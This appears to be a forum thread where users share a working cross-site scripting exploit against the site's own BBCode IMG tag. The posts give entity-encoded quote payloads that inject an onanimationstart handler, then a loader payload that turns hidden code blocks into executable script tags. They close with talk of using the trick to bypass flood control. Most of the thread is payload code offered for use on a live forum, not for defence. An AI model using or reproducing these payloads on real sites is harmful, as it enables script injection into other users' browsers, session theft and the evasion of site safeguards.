Cross Site Scripting (XSS) with BBCode

So, IMG tags in BBCode fail to sanitize " and ' from the URL you insert into it. You can use this to insert additional attributes into the HTML IMG tag that it generates, which can then be used to execute Javascript code. I found it to work with the "onanimationstart" tag, since that doesn't get filtered out by the forums.

Code:

<style>@keyframes x{}</style>
[img]&#34;onanimationstart=&#34;javascript:[INSERT CODE HERE]&#34; style="animation: x;&#34;[/img]


Here, I create a blank animation in CSS called "x", and then set the onanimationstart attribute in the IMG tag, and also the style attribute that sets the animation to "x".

It is important that quotes are stored as HTML character codes, single and double (' and ", respectively), or else it will not work.

pls be safe with this

Forgot to change a " in the code box to a "

Code:

<style>@keyframes x{}</style>
[img]&#34;onanimationstart=&#34;javascript:[INSERT CODE HERE]&#34; style=&#34;animation: x;&#34;[/img]

Neato

Created a script that clones "code" tags (with their class defined as "xss") as proper executable script tags.

Just insert this in your page:

Code:

[img]"onanimationstart="javascript:for(let s of document.getElementsByClassName('xss')){ if(s.nodeName=='CODE') { var c=document.createElement('script'); c.type='text/javascript'; c.text=s.innerText; document.body.appendChild(c); }}" style="animation:xssanim;height:0;"[/img]
<style>@keyframes xssanim{} code.xss{display:none;height:0;}</style>


And, now you can do stuff like this:

Code:

<code class="xss">
alert("Easier XSS! Woo!");
</code>



alert("Easier XSS! Woo!");


This method is also far more reliable, since now whatever JS code is made no longer has to be in the IMG tag, which I found has the potential to mess with it, depending on what the code contains.

BUMP!!!!!!

























If only there was a way to remove flood control completely using this trick


alert("Your life is NOTHING!");